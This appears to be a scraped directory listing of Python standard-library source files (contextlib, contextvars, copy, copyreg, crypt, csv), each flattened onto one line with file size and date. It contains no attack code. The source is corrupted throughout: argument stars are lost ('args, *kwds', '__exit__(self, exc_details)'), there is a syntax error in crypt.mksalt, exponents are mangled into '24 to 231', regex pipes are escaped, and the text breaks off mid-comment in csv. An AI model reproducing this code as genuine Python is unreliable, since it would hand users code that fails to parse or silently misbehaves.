exctype, excinst, exctb): setattr(sys, self._stream, self._old_targets.pop()) class redirect_stdout(_RedirectStream): """Context manager for temporarily redirecting stdout to another file. # How to send help() to stderr with redirect_stdout(sys.stderr): help(dir) # How to write help() to a file with open('help.txt', 'w') as f: with redirect_stdout(f): help(pow) """ _stream = "stdout" class redirect_stderr(_RedirectStream): """Context manager for temporarily redirecting stderr to another file.""" _stream = "stderr" class suppress(AbstractContextManager): """Context manager to suppress specified exceptions After the exception is suppressed, execution proceeds with the next statement following the with statement. with suppress(FileNotFoundError): os.remove(somefile) # Execution still resumes here if the file was already removed """ def __init__(self, exceptions): self._exceptions = exceptions def __enter__(self): pass def __exit__(self, exctype, excinst, exctb): # Unlike isinstance and issubclass, CPython exception handling # currently only looks at the concrete type hierarchy (ignoring # the instance and subclass checking hooks). While Guido considers # that a bug rather than a feature, it's a fairly hard one to fix # due to various internal implementation details. suppress provides # the simpler issubclass based semantics, rather than trying to # exactly reproduce the limitations of the CPython interpreter. # # See http://bugs.python.org/issue12029 for more details return exctype is not None and issubclass(exctype, self._exceptions) class _BaseExitStack: """A base class for ExitStack and AsyncExitStack.""" @staticmethod def _create_exit_wrapper(cm, cm_exit): def _exit_wrapper(exc_type, exc, tb): return cm_exit(cm, exc_type, exc, tb) return _exit_wrapper @staticmethod def _create_cb_wrapper(args, *kwds): callback, args = args def _exit_wrapper(exc_type, exc, tb): callback(args, kwds) return _exit_wrapper def __init__(self): self._exit_callbacks = deque() def pop_all(self): """Preserve the context stack by transferring it to a new instance.""" new_stack = type(self)() new_stack._exit_callbacks = self._exit_callbacks self._exit_callbacks = deque() return new_stack def push(self, exit): """Registers a callback with the standard __exit__ method signature. Can suppress exceptions the same way __exit__ method can. Also accepts any object with an __exit__ method (registering a call to the method instead of the object itself). """ # We use an unbound method rather than a bound method to follow # the standard lookup behaviour for special methods. _cb_type = type(exit) try: exit_method = _cb_type.__exit__ except AttributeError: # Not a context manager, so assume it's a callable. self._push_exit_callback(exit) else: self._push_cm_exit(exit, exit_method) return exit # Allow use as a decorator. def enter_context(self, cm): """Enters the supplied context manager. If successful, also pushes its __exit__ method as a callback and returns the result of the __enter__ method. """ # We look up the special methods on the type to match the with # statement. _cm_type = type(cm) _exit = _cm_type.__exit__ result = _cm_type.__enter__(cm) self._push_cm_exit(cm, _exit) return result def callback(args, *kwds): """Registers an arbitrary callback and arguments. Cannot suppress exceptions. """ if len(args) >= 2: self, callback, args = args elif not args: raise TypeError("descriptor 'callback' of '_BaseExitStack' object " "needs an argument") elif 'callback' in kwds: callback = kwds.pop('callback') self, args = args else: raise TypeError('callback expected at least 1 positional argument, ' 'got %d' % (len(args)-1)) _exit_wrapper = self._create_cb_wrapper(callback, args, *kwds) # We changed the signature, so using @wraps is not appropriate, but # setting __wrapped__ may still help with introspection. _exit_wrapper.__wrapped__ = callback self._push_exit_callback(_exit_wrapper) return callback # Allow use as a decorator def _push_cm_exit(self, cm, cm_exit): """Helper to correctly register callbacks to __exit__ methods.""" _exit_wrapper = self._create_exit_wrapper(cm, cm_exit) _exit_wrapper.__self__ = cm self._push_exit_callback(_exit_wrapper, True) def _push_exit_callback(self, callback, is_sync=True): self._exit_callbacks.append((is_sync, callback)) # Inspired by discussions on http://bugs.python.org/issue13585 class ExitStack(_BaseExitStack, AbstractContextManager): """Context manager for dynamic management of a stack of exit callbacks. For example: with ExitStack() as stack: files = [stack.enter_context(open(fname)) for fname in filenames] # All opened files will automatically be closed at the end of # the with statement, even if attempts to open files later # in the list raise an exception. """ def __enter__(self): return self def __exit__(self, exc_details): received_exc = exc_details[0] is not None # We manipulate the exception state so it behaves as though # we were actually nesting multiple with statements frame_exc = sys.exc_info()[1] def _fix_exception_context(new_exc, old_exc): # Context may not be correct, so find the end of the chain while 1: exc_context = new_exc.__context__ if exc_context is old_exc: # Context is already set correctly (see issue 20317) return if exc_context is None or exc_context is frame_exc: break new_exc = exc_context # Change the end of the chain to point to the exception # we expect it to reference new_exc.__context__ = old_exc # Callbacks are invoked in LIFO order to match the behaviour of # nested context managers suppressed_exc = False pending_raise = False while self._exit_callbacks: is_sync, cb = self._exit_callbacks.pop() assert is_sync try: if cb(exc_details): suppressed_exc = True pending_raise = False exc_details = (None, None, None) except: new_exc_details = sys.exc_info() # simulate the stack of exceptions by setting the context _fix_exception_context(new_exc_details[1], exc_details[1]) pending_raise = True exc_details = new_exc_details if pending_raise: try: # bare "raise exc_details[1]" replaces our carefully # set-up context fixed_ctx = exc_details[1].__context__ raise exc_details[1] except BaseException: exc_details[1].__context__ = fixed_ctx raise return received_exc and suppressed_exc def close(self): """Immediately unwind the context stack.""" self.__exit__(None, None, None) # Inspired by discussions on https://bugs.python.org/issue29302 class AsyncExitStack(_BaseExitStack, AbstractAsyncContextManager): """Async context manager for dynamic management of a stack of exit callbacks. For example: async with AsyncExitStack() as stack: connections = [await stack.enter_async_context(get_connection()) for i in range(5)] # All opened connections will automatically be released at the # end of the async with statement, even if attempts to open a # connection later in the list raise an exception. """ @staticmethod def _create_async_exit_wrapper(cm, cm_exit): async def _exit_wrapper(exc_type, exc, tb): return await cm_exit(cm, exc_type, exc, tb) return _exit_wrapper @staticmethod def _create_async_cb_wrapper(args, *kwds): callback, args = args async def _exit_wrapper(exc_type, exc, tb): await callback(args, kwds) return _exit_wrapper async def enter_async_context(self, cm): """Enters the supplied async context manager. If successful, also pushes its __aexit__ method as a callback and returns the result of the __aenter__ method. """ _cm_type = type(cm) _exit = _cm_type.__aexit__ result = await _cm_type.__aenter__(cm) self._push_async_cm_exit(cm, _exit) return result def push_async_exit(self, exit): """Registers a coroutine function with the standard __aexit__ method signature. Can suppress exceptions the same way __aexit__ method can. Also accepts any object with an __aexit__ method (registering a call to the method instead of the object itself). """ _cb_type = type(exit) try: exit_method = _cb_type.__aexit__ except AttributeError: # Not an async context manager, so assume it's a coroutine function self._push_exit_callback(exit, False) else: self._push_async_cm_exit(exit, exit_method) return exit # Allow use as a decorator def push_async_callback(args, *kwds): """Registers an arbitrary coroutine function and arguments. Cannot suppress exceptions. """ if len(args) >= 2: self, callback, args = args elif not args: raise TypeError("descriptor 'push_async_callback' of " "'AsyncExitStack' object needs an argument") elif 'callback' in kwds: callback = kwds.pop('callback') self, args = args else: raise TypeError('push_async_callback expected at least 1 ' 'positional argument, got %d' % (len(args)-1)) _exit_wrapper = self._create_async_cb_wrapper(callback, args, *kwds) # We changed the signature, so using @wraps is not appropriate, but # setting __wrapped__ may still help with introspection. _exit_wrapper.__wrapped__ = callback self._push_exit_callback(_exit_wrapper, False) return callback # Allow use as a decorator async def aclose(self): """Immediately unwind the context stack.""" await self.__aexit__(None, None, None) def _push_async_cm_exit(self, cm, cm_exit): """Helper to correctly register coroutine function to __aexit__ method.""" _exit_wrapper = self._create_async_exit_wrapper(cm, cm_exit) _exit_wrapper.__self__ = cm self._push_exit_callback(_exit_wrapper, False) async def __aenter__(self): return self async def __aexit__(self, exc_details): received_exc = exc_details[0] is not None # We manipulate the exception state so it behaves as though # we were actually nesting multiple with statements frame_exc = sys.exc_info()[1] def _fix_exception_context(new_exc, old_exc): # Context may not be correct, so find the end of the chain while 1: exc_context = new_exc.__context__ if exc_context is old_exc: # Context is already set correctly (see issue 20317) return if exc_context is None or exc_context is frame_exc: break new_exc = exc_context # Change the end of the chain to point to the exception # we expect it to reference new_exc.__context__ = old_exc # Callbacks are invoked in LIFO order to match the behaviour of # nested context managers suppressed_exc = False pending_raise = False while self._exit_callbacks: is_sync, cb = self._exit_callbacks.pop() try: if is_sync: cb_suppress = cb(exc_details) else: cb_suppress = await cb(exc_details) if cb_suppress: suppressed_exc = True pending_raise = False exc_details = (None, None, None) except: new_exc_details = sys.exc_info() # simulate the stack of exceptions by setting the context _fix_exception_context(new_exc_details[1], exc_details[1]) pending_raise = True exc_details = new_exc_details if pending_raise: try: # bare "raise exc_details[1]" replaces our carefully # set-up context fixed_ctx = exc_details[1].__context__ raise exc_details[1] except BaseException: exc_details[1].__context__ = fixed_ctx raise return received_exc and suppressed_exc class nullcontext(AbstractContextManager): """Context manager that does no additional processing. Used as a stand-in for a normal context manager, when a particular block of code is only sometimes used with a normal context manager: cm = optional_cm if condition else nullcontext() with cm: # Perform operation, using optional_cm if condition is True """ def __init__(self, enter_result=None): self.enter_result = enter_result def __enter__(self): return self.enter_result def __exit__(self, *excinfo): pass	24.18 KB	2024-04-17 17:55
📄 contextvars.py from _contextvars import Context, ContextVar, Token, copy_context __all__ = ('Context', 'ContextVar', 'Token', 'copy_context')	129 B	2024-04-17 17:55
📄 copy.py """Generic (shallow and deep) copying operations. Interface summary: import copy x = copy.copy(y) # make a shallow copy of y x = copy.deepcopy(y) # make a deep copy of y For module specific errors, copy.Error is raised. The difference between shallow and deep copying is only relevant for compound objects (objects that contain other objects, like lists or class instances). - A shallow copy constructs a new compound object and then (to the extent possible) inserts the same objects into it that the original contains. - A deep copy constructs a new compound object and then, recursively, inserts copies into it of the objects found in the original. Two problems often exist with deep copy operations that don't exist with shallow copy operations: a) recursive objects (compound objects that, directly or indirectly, contain a reference to themselves) may cause a recursive loop b) because deep copy copies everything it may copy too much, e.g. administrative data structures that should be shared even between copies Python's deep copy operation avoids these problems by: a) keeping a table of objects already copied during the current copying pass b) letting user-defined classes override the copying operation or the set of components copied This version does not copy types like module, class, function, method, nor stack trace, stack frame, nor file, socket, window, nor array, nor any similar types. Classes can use the same interfaces to control copying that they use to control pickling: they can define methods called __getinitargs__(), __getstate__() and __setstate__(). See the documentation for module "pickle" for information on these methods. """ import types import weakref from copyreg import dispatch_table class Error(Exception): pass error = Error # backward compatibility try: from org.python.core import PyStringMap except ImportError: PyStringMap = None __all__ = ["Error", "copy", "deepcopy"] def copy(x): """Shallow copy operation on arbitrary Python objects. See the module's __doc__ string for more info. """ cls = type(x) copier = _copy_dispatch.get(cls) if copier: return copier(x) try: issc = issubclass(cls, type) except TypeError: # cls is not a class issc = False if issc: # treat it as a regular class: return _copy_immutable(x) copier = getattr(cls, "__copy__", None) if copier: return copier(x) reductor = dispatch_table.get(cls) if reductor: rv = reductor(x) else: reductor = getattr(x, "__reduce_ex__", None) if reductor: rv = reductor(4) else: reductor = getattr(x, "__reduce__", None) if reductor: rv = reductor() else: raise Error("un(shallow)copyable object of type %s" % cls) if isinstance(rv, str): return x return _reconstruct(x, None, rv) _copy_dispatch = d = {} def _copy_immutable(x): return x for t in (type(None), int, float, bool, complex, str, tuple, bytes, frozenset, type, range, slice, property, types.BuiltinFunctionType, type(Ellipsis), type(NotImplemented), types.FunctionType, weakref.ref): d[t] = _copy_immutable t = getattr(types, "CodeType", None) if t is not None: d[t] = _copy_immutable d[list] = list.copy d[dict] = dict.copy d[set] = set.copy d[bytearray] = bytearray.copy if PyStringMap is not None: d[PyStringMap] = PyStringMap.copy del d, t def deepcopy(x, memo=None, _nil=[]): """Deep copy operation on arbitrary Python objects. See the module's __doc__ string for more info. """ if memo is None: memo = {} d = id(x) y = memo.get(d, _nil) if y is not _nil: return y cls = type(x) copier = _deepcopy_dispatch.get(cls) if copier: y = copier(x, memo) else: try: issc = issubclass(cls, type) except TypeError: # cls is not a class (old Boost; see SF #502085) issc = 0 if issc: y = _deepcopy_atomic(x, memo) else: copier = getattr(x, "__deepcopy__", None) if copier: y = copier(memo) else: reductor = dispatch_table.get(cls) if reductor: rv = reductor(x) else: reductor = getattr(x, "__reduce_ex__", None) if reductor: rv = reductor(4) else: reductor = getattr(x, "__reduce__", None) if reductor: rv = reductor() else: raise Error( "un(deep)copyable object of type %s" % cls) if isinstance(rv, str): y = x else: y = _reconstruct(x, memo, rv) # If is its own copy, don't memoize. if y is not x: memo[d] = y _keep_alive(x, memo) # Make sure x lives at least as long as d return y _deepcopy_dispatch = d = {} def _deepcopy_atomic(x, memo): return x d[type(None)] = _deepcopy_atomic d[type(Ellipsis)] = _deepcopy_atomic d[type(NotImplemented)] = _deepcopy_atomic d[int] = _deepcopy_atomic d[float] = _deepcopy_atomic d[bool] = _deepcopy_atomic d[complex] = _deepcopy_atomic d[bytes] = _deepcopy_atomic d[str] = _deepcopy_atomic try: d[types.CodeType] = _deepcopy_atomic except AttributeError: pass d[type] = _deepcopy_atomic d[types.BuiltinFunctionType] = _deepcopy_atomic d[types.FunctionType] = _deepcopy_atomic d[weakref.ref] = _deepcopy_atomic d[property] = _deepcopy_atomic def _deepcopy_list(x, memo, deepcopy=deepcopy): y = [] memo[id(x)] = y append = y.append for a in x: append(deepcopy(a, memo)) return y d[list] = _deepcopy_list def _deepcopy_tuple(x, memo, deepcopy=deepcopy): y = [deepcopy(a, memo) for a in x] # We're not going to put the tuple in the memo, but it's still important we # check for it, in case the tuple contains recursive mutable structures. try: return memo[id(x)] except KeyError: pass for k, j in zip(x, y): if k is not j: y = tuple(y) break else: y = x return y d[tuple] = _deepcopy_tuple def _deepcopy_dict(x, memo, deepcopy=deepcopy): y = {} memo[id(x)] = y for key, value in x.items(): y[deepcopy(key, memo)] = deepcopy(value, memo) return y d[dict] = _deepcopy_dict if PyStringMap is not None: d[PyStringMap] = _deepcopy_dict def _deepcopy_method(x, memo): # Copy instance methods return type(x)(x.__func__, deepcopy(x.__self__, memo)) d[types.MethodType] = _deepcopy_method del d def _keep_alive(x, memo): """Keeps a reference to the object x in the memo. Because we remember objects by their id, we have to assure that possibly temporary objects are kept alive by referencing them. We store a reference at the id of the memo, which should normally not be used unless someone tries to deepcopy the memo itself... """ try: memo[id(memo)].append(x) except KeyError: # aha, this is the first one :-) memo[id(memo)]=[x] def _reconstruct(x, memo, func, args, state=None, listiter=None, dictiter=None, deepcopy=deepcopy): deep = memo is not None if deep and args: args = (deepcopy(arg, memo) for arg in args) y = func(*args) if deep: memo[id(x)] = y if state is not None: if deep: state = deepcopy(state, memo) if hasattr(y, '__setstate__'): y.__setstate__(state) else: if isinstance(state, tuple) and len(state) == 2: state, slotstate = state else: slotstate = None if state is not None: y.__dict__.update(state) if slotstate is not None: for key, value in slotstate.items(): setattr(y, key, value) if listiter is not None: if deep: for item in listiter: item = deepcopy(item, memo) y.append(item) else: for item in listiter: y.append(item) if dictiter is not None: if deep: for key, value in dictiter: key = deepcopy(key, memo) value = deepcopy(value, memo) y[key] = value else: for key, value in dictiter: y[key] = value return y del types, weakref, PyStringMap	8.65 KB	2024-04-17 17:55
📄 copyreg.py """Helper to provide extensibility for pickle. This is only useful to add pickle support for extension types defined in C, not for instances of user-defined classes. """ __all__ = ["pickle", "constructor", "add_extension", "remove_extension", "clear_extension_cache"] dispatch_table = {} def pickle(ob_type, pickle_function, constructor_ob=None): if not callable(pickle_function): raise TypeError("reduction functions must be callable") dispatch_table[ob_type] = pickle_function # The constructor_ob function is a vestige of safe for unpickling. # There is no reason for the caller to pass it anymore. if constructor_ob is not None: constructor(constructor_ob) def constructor(object): if not callable(object): raise TypeError("constructors must be callable") # Example: provide pickling support for complex numbers. try: complex except NameError: pass else: def pickle_complex(c): return complex, (c.real, c.imag) pickle(complex, pickle_complex, complex) # Support for pickling new-style objects def _reconstructor(cls, base, state): if base is object: obj = object.__new__(cls) else: obj = base.__new__(cls, state) if base.__init__ != object.__init__: base.__init__(obj, state) return obj _HEAPTYPE = 1<<9 # Python code for object.__reduce_ex__ for protocols 0 and 1 def _reduce_ex(self, proto): assert proto < 2 for base in self.__class__.__mro__: if hasattr(base, '__flags__') and not base.__flags__ & _HEAPTYPE: break else: base = object # not really reachable if base is object: state = None else: if base is self.__class__: raise TypeError("can't pickle %s objects" % base.__name__) state = base(self) args = (self.__class__, base, state) try: getstate = self.__getstate__ except AttributeError: if getattr(self, "__slots__", None): raise TypeError("a class that defines __slots__ without " "defining __getstate__ cannot be pickled") from None try: dict = self.__dict__ except AttributeError: dict = None else: dict = getstate() if dict: return _reconstructor, args, dict else: return _reconstructor, args # Helper for __reduce_ex__ protocol 2 def __newobj__(cls, args): return cls.__new__(cls, args) def __newobj_ex__(cls, args, kwargs): """Used by pickle protocol 4, instead of __newobj__ to allow classes with keyword-only arguments to be pickled correctly. """ return cls.__new__(cls, args, *kwargs) def _slotnames(cls): """Return a list of slot names for a given class. This needs to find slots defined by the class and its bases, so we can't simply return the __slots__ attribute. We must walk down the Method Resolution Order and concatenate the __slots__ of each class found there. (This assumes classes don't modify their __slots__ attribute to misrepresent their slots after the class is defined.) """ # Get the value from a cache in the class if possible names = cls.__dict__.get("__slotnames__") if names is not None: return names # Not cached -- calculate the value names = [] if not hasattr(cls, "__slots__"): # This class has no slots pass else: # Slots found -- gather slot names from all base classes for c in cls.__mro__: if "__slots__" in c.__dict__: slots = c.__dict__['__slots__'] # if class has a single slot, it can be given as a string if isinstance(slots, str): slots = (slots,) for name in slots: # special descriptors if name in ("__dict__", "__weakref__"): continue # mangled names elif name.startswith('__') and not name.endswith('__'): stripped = c.__name__.lstrip('_') if stripped: names.append('_%s%s' % (stripped, name)) else: names.append(name) else: names.append(name) # Cache the outcome in the class if at all possible try: cls.__slotnames__ = names except: pass # But don't die if we can't return names # A registry of extension codes. This is an ad-hoc compression # mechanism. Whenever a global reference to <module>, <name> is about # to be pickled, the (<module>, <name>) tuple is looked up here to see # if it is a registered extension code for it. Extension codes are # universal, so that the meaning of a pickle does not depend on # context. (There are also some codes reserved for local use that # don't have this restriction.) Codes are positive ints; 0 is # reserved. _extension_registry = {} # key -> code _inverted_registry = {} # code -> key _extension_cache = {} # code -> object # Don't ever rebind those names: pickling grabs a reference to them when # it's initialized, and won't see a rebinding. def add_extension(module, name, code): """Register an extension code.""" code = int(code) if not 1 <= code <= 0x7fffffff: raise ValueError("code out of range") key = (module, name) if (_extension_registry.get(key) == code and _inverted_registry.get(code) == key): return # Redundant registrations are benign if key in _extension_registry: raise ValueError("key %s is already registered with code %s" % (key, _extension_registry[key])) if code in _inverted_registry: raise ValueError("code %s is already in use for key %s" % (code, _inverted_registry[code])) _extension_registry[key] = code _inverted_registry[code] = key def remove_extension(module, name, code): """Unregister an extension code. For testing only.""" key = (module, name) if (_extension_registry.get(key) != code or _inverted_registry.get(code) != key): raise ValueError("key %s is not registered with code %s" % (key, code)) del _extension_registry[key] del _inverted_registry[code] if code in _extension_cache: del _extension_cache[code] def clear_extension_cache(): _extension_cache.clear() # Standard extension code assignments # Reserved ranges # First Last Count Purpose # 1 127 127 Reserved for Python standard library # 128 191 64 Reserved for Zope # 192 239 48 Reserved for 3rd parties # 240 255 16 Reserved for private use (will never be assigned) # 256 Inf Inf Reserved for future assignment # Extension codes are assigned by the Python Software Foundation.	6.85 KB	2024-04-17 17:55
📄 crypt.py """Wrapper to the POSIX crypt library call and associated functionality.""" import _crypt import string as _string from random import SystemRandom as _SystemRandom from collections import namedtuple as _namedtuple _saltchars = _string.ascii_letters + _string.digits + './' _sr = _SystemRandom() class _Method(_namedtuple('_Method', 'name ident salt_chars total_size')): """Class representing a salt method per the Modular Crypt Format or the legacy 2-character crypt method.""" def __repr__(self): return '<crypt.METHOD_{}>'.format(self.name) def mksalt(method=None, , rounds=None): """Generate a salt for the specified method. If not specified, the strongest available method will be used. """ if method is None: method = methods[0] if rounds is not None and not isinstance(rounds, int): raise TypeError(f'{rounds.__class__.__name__} object cannot be ' f'interpreted as an integer') if not method.ident: # traditional s = '' else: # modular s = f'${method.ident}$' if method.ident and method.ident[0] == '2': # Blowfish variants if rounds is None: log_rounds = 12 else: log_rounds = int.bit_length(rounds-1) if rounds != 1 << log_rounds: raise ValueError('rounds must be a power of 2') if not 4 <= log_rounds <= 31: raise ValueError('rounds out of the range 24 to 231') s += f'{log_rounds:02d}$' elif method.ident in ('5', '6'): # SHA-2 if rounds is not None: if not 1000 <= rounds <= 999_999_999: raise ValueError('rounds out of the range 1000 to 999_999_999') s += f'rounds={rounds}$' elif rounds is not None: raise ValueError(f"{method} doesn't support the rounds argument") s += ''.join(_sr.choice(_saltchars) for char in range(method.salt_chars)) return s def crypt(word, salt=None): """Return a string representing the one-way hash of a password, with a salt prepended. If ``salt`` is not specified or is ``None``, the strongest available method will be selected and a salt generated. Otherwise, ``salt`` may be one of the ``crypt.METHOD_`` values, or a string as returned by ``crypt.mksalt()``. """ if salt is None or isinstance(salt, _Method): salt = mksalt(salt) return _crypt.crypt(word, salt) # available salting/crypto methods methods = [] def _add_method(name, args, rounds=None): method = _Method(name, args) globals()['METHOD_' + name] = method salt = mksalt(method, rounds=rounds) result = crypt('', salt) if result and len(result) == method.total_size: methods.append(method) return True return False _add_method('SHA512', '6', 16, 106) _add_method('SHA256', '5', 16, 63) # Choose the strongest supported version of Blowfish hashing. # Early versions have flaws. Version 'a' fixes flaws of # the initial implementation, 'b' fixes flaws of 'a'. # 'y' is the same as 'b', for compatibility # with openwall crypt_blowfish. for _v in 'b', 'y', 'a', '': if _add_method('BLOWFISH', '2' + _v, 22, 59 + len(_v), rounds=1<<4): break _add_method('MD5', '1', 8, 34) _add_method('CRYPT', None, 2, 13) del _v, _add_method	3.27 KB	2024-04-17 17:55
📄 csv.py """ csv.py - read/write/investigate CSV files """ import re from _csv import Error, __version__, writer, reader, register_dialect, \ unregister_dialect, get_dialect, list_dialects, \ field_size_limit, \ QUOTE_MINIMAL, QUOTE_ALL, QUOTE_NONNUMERIC, QUOTE_NONE, \ __doc__ from _csv import Dialect as _Dialect from collections import OrderedDict from io import StringIO __all__ = ["QUOTE_MINIMAL", "QUOTE_ALL", "QUOTE_NONNUMERIC", "QUOTE_NONE", "Error", "Dialect", "__doc__", "excel", "excel_tab", "field_size_limit", "reader", "writer", "register_dialect", "get_dialect", "list_dialects", "Sniffer", "unregister_dialect", "__version__", "DictReader", "DictWriter", "unix_dialect"] class Dialect: """Describe a CSV dialect. This must be subclassed (see csv.excel). Valid attributes are: delimiter, quotechar, escapechar, doublequote, skipinitialspace, lineterminator, quoting. """ _name = "" _valid = False # placeholders delimiter = None quotechar = None escapechar = None doublequote = None skipinitialspace = None lineterminator = None quoting = None def __init__(self): if self.__class__ != Dialect: self._valid = True self._validate() def _validate(self): try: _Dialect(self) except TypeError as e: # We do this for compatibility with py2.3 raise Error(str(e)) class excel(Dialect): """Describe the usual properties of Excel-generated CSV files.""" delimiter = ',' quotechar = '"' doublequote = True skipinitialspace = False lineterminator = '\r\n' quoting = QUOTE_MINIMAL register_dialect("excel", excel) class excel_tab(excel): """Describe the usual properties of Excel-generated TAB-delimited files.""" delimiter = '\t' register_dialect("excel-tab", excel_tab) class unix_dialect(Dialect): """Describe the usual properties of Unix-generated CSV files.""" delimiter = ',' quotechar = '"' doublequote = True skipinitialspace = False lineterminator = '\n' quoting = QUOTE_ALL register_dialect("unix", unix_dialect) class DictReader: def __init__(self, f, fieldnames=None, restkey=None, restval=None, dialect="excel", args, kwds): self._fieldnames = fieldnames # list of keys for the dict self.restkey = restkey # key to catch long rows self.restval = restval # default value for short rows self.reader = reader(f, dialect, args, *kwds) self.dialect = dialect self.line_num = 0 def __iter__(self): return self @property def fieldnames(self): if self._fieldnames is None: try: self._fieldnames = next(self.reader) except StopIteration: pass self.line_num = self.reader.line_num return self._fieldnames @fieldnames.setter def fieldnames(self, value): self._fieldnames = value def __next__(self): if self.line_num == 0: # Used only for its side effect. self.fieldnames row = next(self.reader) self.line_num = self.reader.line_num # unlike the basic reader, we prefer not to return blanks, # because we will typically wind up with a dict full of None # values while row == []: row = next(self.reader) d = OrderedDict(zip(self.fieldnames, row)) lf = len(self.fieldnames) lr = len(row) if lf < lr: d[self.restkey] = row[lf:] elif lf > lr: for key in self.fieldnames[lr:]: d[key] = self.restval return d class DictWriter: def __init__(self, f, fieldnames, restval="", extrasaction="raise", dialect="excel", args, *kwds): self.fieldnames = fieldnames # list of keys for the dict self.restval = restval # for writing short dicts if extrasaction.lower() not in ("raise", "ignore"): raise ValueError("extrasaction (%s) must be 'raise' or 'ignore'" % extrasaction) self.extrasaction = extrasaction self.writer = writer(f, dialect, args, *kwds) def writeheader(self): header = dict(zip(self.fieldnames, self.fieldnames)) self.writerow(header) def _dict_to_list(self, rowdict): if self.extrasaction == "raise": wrong_fields = rowdict.keys() - self.fieldnames if wrong_fields: raise ValueError("dict contains fields not in fieldnames: " + ", ".join([repr(x) for x in wrong_fields])) return (rowdict.get(key, self.restval) for key in self.fieldnames) def writerow(self, rowdict): return self.writer.writerow(self._dict_to_list(rowdict)) def writerows(self, rowdicts): return self.writer.writerows(map(self._dict_to_list, rowdicts)) # Guard Sniffer's type checking against builds that exclude complex() try: complex except NameError: complex = float class Sniffer: ''' "Sniffs" the format of a CSV file (i.e. delimiter, quotechar) Returns a Dialect object. ''' def __init__(self): # in case there is more than one possible delimiter self.preferred = [',', '\t', ';', ' ', ':'] def sniff(self, sample, delimiters=None): """ Returns a dialect (or None) corresponding to the sample """ quotechar, doublequote, delimiter, skipinitialspace = \ self._guess_quote_and_delimiter(sample, delimiters) if not delimiter: delimiter, skipinitialspace = self._guess_delimiter(sample, delimiters) if not delimiter: raise Error("Could not determine delimiter") class dialect(Dialect): _name = "sniffed" lineterminator = '\r\n' quoting = QUOTE_MINIMAL # escapechar = '' dialect.doublequote = doublequote dialect.delimiter = delimiter # _csv.reader won't accept a quotechar of '' dialect.quotechar = quotechar or '"' dialect.skipinitialspace = skipinitialspace return dialect def _guess_quote_and_delimiter(self, data, delimiters): """ Looks for text enclosed between two identical quotes (the probable quotechar) which are preceded and followed by the same character (the probable delimiter). For example: ,'some text', The quote with the most wins, same with the delimiter. If there is no quotechar the delimiter can't be determined this way. """ matches = [] for restr in (r'(?P<delim>[^\w\n"\'])(?P<space> ?)(?P<quote>["\']).?(?P=quote)(?P=delim)', # ,".?", r'(?:^\|\n)(?P<quote>["\']).?(?P=quote)(?P<delim>[^\w\n"\'])(?P<space> ?)', # ".?", r'(?P<delim>[^\w\n"\'])(?P<space> ?)(?P<quote>["\']).?(?P=quote)(?:$\|\n)', # ,".?" r'(?:^\|\n)(?P<quote>["\']).?(?P=quote)(?:$\|\n)'): # ".?" (no delim, no space) regexp = re.compile(restr, re.DOTALL \| re.MULTILINE) matches = regexp.findall(data) if matches: break if not matches: # (quotechar, doublequote, delimiter, skipinitialspace) return ('', False, None, 0) quotes = {} delims = {} spaces = 0 groupindex = regexp.groupindex for m in matches: n = groupindex['quote'] - 1 key = m[n] if key: quotes[key] = quotes.get(key, 0) + 1 try: n = groupindex['delim'] - 1 key = m[n] except KeyError: continue if key and (delimiters is None or key in delimiters): delims[key] = delims.get(key, 0) + 1 try: n = groupindex['space'] - 1 except KeyError: continue if m[n]: spaces += 1 quotechar = max(quotes, key=quotes.get) if delims: delim = max(delims, key=delims.get) skipinitialspace = delims[delim] == spaces if delim == '\n': # most likely a file with a single column delim = '' else: # there is no* delimiter, it's a single column of quoted data delim = '' skipinitialspace = 0 # if we see an extra quote between delimiters, we've got a # double quoted format dq_regexp = re.compile( r"((%(delim)s)\|^)\W%(quote)s[^%(delim)s\n]%(quote)s[^%(delim)s\n]%(quote)s\W((%(delim)s)\|$)" % \ {'delim':re.escape(delim), 'quote':quotechar}, re.MULTILINE) if dq_regexp.search(data): doublequote = True else: doublequote = False return (quotechar, doublequote, delim, skipinitialspace) def _guess_delimiter(self, data, delimiters): """ The delimiter /should/ occur the same number of times on each row. However, due to malformed data, it may not. We don't want an all or nothing approach, so we allow for small variations in this number. 1) build a table of the frequency of each character on every line. 2) build a table of frequencies of this frequency (meta-frequency?), e.g. 'x occurred 5 times in 10 rows, 6 times in 1000 rows, 7 times in 2 rows' 3) use the mode of the meta-frequency to determine the /expected/ frequency for that character 4) find out how often the character actually meets that goal 5) the character that best meets its goal is the delimiter For performance reasons, the data is evaluated in chunks, so it can try and evaluate the smallest portion of the data possible, evaluating additional chunks as necessary. """ data = list(filter(None, data.split('\n'))) ascii = [chr(c) for c in range(127)] # 7-bit ASCII # build frequency tables chunkLength = min(10, len(data)) iteration = 0 charFrequency = {} modes = {} delims = {} start, end = 0, chunkLength while start < len(data): iteration += 1 for line in data[start:end]: for char in ascii: metaFrequency = charFrequency.get(char, {}) # must count even if frequency is 0 freq = line.count(char) # value is the mode metaFrequency[freq] = metaFrequency.get(freq, 0) + 1 charFrequency[char] = metaFrequency for char in charFrequency.keys(): items = list(charFrequency[char].items()) if len(items) == 1 and items[0][0] == 0: continue # get the mode of the frequencies if len(items) > 1: modes[char] = max(items, key=lambda x: x[1]) # adjust the mode - subtract the sum of all # other frequencies items.remove(modes[char]) modes[char] = (modes[char][0], modes[char][1] - sum(item[1] for item in items)) else: modes[char] = items[0] # build a list of possible delimiters modeList = modes.items() total = float(min(chunkLength * iteration, len(data))) # (rows of consistent data) / (number of rows) = 100% consistency = 1.0 # minimum consistency threshold threshold = 0.9 while len(delims) == 0 and consistency >= threshold: for k, v in modeList: if v[0] > 0 and v[1] > 0: if ((v[1]/total) >= consistency and (delimiters is None or k in delimiters)): delims[k] = v consistency -= 0.01 if len(delims) == 1: delim = list(delims.keys())[0] skipinitialspace = (data[0].count(delim) == data[0].count("%c " % delim)) return (delim, skipinitialspace) # analyze another chunkLength lines start = end end += chunkLength if not delims: return ('', 0) # if there's more than one, fall back to a 'preferred' list if len(delims) > 1: for d in self.preferred: if d in delims.keys(): skipinitialspace = (data[0].count(d) == data[0].count("%c " % d)) return (d, skipinitialspace) # nothing else indicates a preference, pick the character that # dominates(?) items = [(v,k) for (k,v) in delims.items()] items.sort() delim = items[-1][1] skipinitialspace = (data[0].count(delim) == data[0].count("%c " % delim)) return (delim, skipinitialspace) def has_header(self, sample): # Creates a dictionary of types of data in each column. If any # column is of a single type (say, integers), except for the first # row, then the first row is presumed to be labels. If the type # can't be determined, it is assumed to be a string in which case # the length of the string is the determining factor: if all of the # rows except for the first are the same length, it's a header. # Finally, a 'vote' is taken at the end for each column, adding or # subtracting from the likelihood 